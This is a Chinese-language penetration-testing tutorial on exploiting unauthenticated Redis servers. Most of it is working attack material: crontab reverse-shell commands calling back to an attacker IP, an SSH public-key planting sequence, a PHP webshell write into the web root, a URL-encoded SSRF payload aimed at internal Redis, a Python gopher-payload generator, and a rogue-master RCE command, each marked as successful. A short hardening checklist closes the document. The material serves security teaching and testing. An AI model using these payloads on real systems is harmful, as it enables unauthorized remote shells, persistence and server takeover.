计划任务反弹shell
redis写入公钥利用私钥登录ssh
redis往web物理路径写webshell
ssrf通内网redis反弹shell
利用Redis主从复制REC
Redis安全配置
计划任务反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell。利用条件:
允许异地登录
redis存在未授权访问/弱口令
安全模式protected-mode处于关闭状态
利用方法:
通过未授权访问连接redis
创建一个key xx,值为反弹shell语句,直接往当前用户的crontab里写入反弹shell,换行是必不可少的。set xx "\n* * * * * bash -i >& /dev/tcp/192.168.17.141/7777 0>&1\n"
修改备份目录为linux计划任务目录config set dir /var/spool/cron/修改备份文件名为 rootconfig set dbfilename root以root身体执行计划任务save
结果:succeed!
redis写入公钥利用私钥登录ssh
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
Redis存在未授权访问/弱口令
安全模式protected-mode处于关闭状态
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
利用方法:
本机生成密钥公钥
ssh-keygen -t rsa
进入ssh路径,防止乱码导出我们的key
(echo -e "\n\n"; cat id_rsa.pub;echo -e "\n\n") > key.txt
利用Redis导入公钥到key xx
--pass是登录密码无密码可不填cat key.txt | redis-cli -h 192.168.0.108 --pass pass123 -x set xx
到Redis查看key xx的值是否为我们导入的私钥
后面同上
利用gopher协议反弹shellconfig set dir /root/.ssh设置文件名config set dbfilename authorized_keys保存Save
最后直接利用我们的ssh公钥连接服务器
实验结果:succeed!
Redis往web物理路径写入webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell同样设置备份目录位置> config set dir /var/www/html/设置备份文件名> config set dbfilename shell.php设置key x值> set x "<?php phpinfo();?>"保存> save
ssrf通内网redis反弹shell
利用ssrf漏洞探测内网服务器的端口开放情况
探测本地的7001端口开放状态(当前开放状态)
本地的7001端口关闭状态
发现内网redis服务
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
Payload:http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.17.141%2F7777%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
实验结果:succeed!
利用gopher协议反弹shell
/*gopher协议反弹shell利用脚本*/import urllibprotocol="gopher://"ip="172.18.0.2"port="6379"reverse_ip="192.168.17.141"reverse_port="7777"cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall", "set 1 {}".format(cron.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
利用Redis主从复制REC
在Reids4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。新增模块(主从模式),主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。利用条件:
Redis存在未授权访问/弱口令
安全模式protected-mode处于关闭状态
允许异地登录
利用方法:
目标redis ip(从机):192.168.17.138
攻击机(主机):192.168.17.130
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
python3 redis-rogue-server.py --rhost 192.168.17.138 --lhost 192.168.17.130
实验结果:succeed!
Redis安全配置
使用普通账号启动Redis
在Redis配置文件设置只允许本地访问
在Redis配置文件开启保护模式protected-mode 开启 (默认开启)
在Redis配置文件设置redis密码requirepass
在Redis配置文件更改Redis默认端口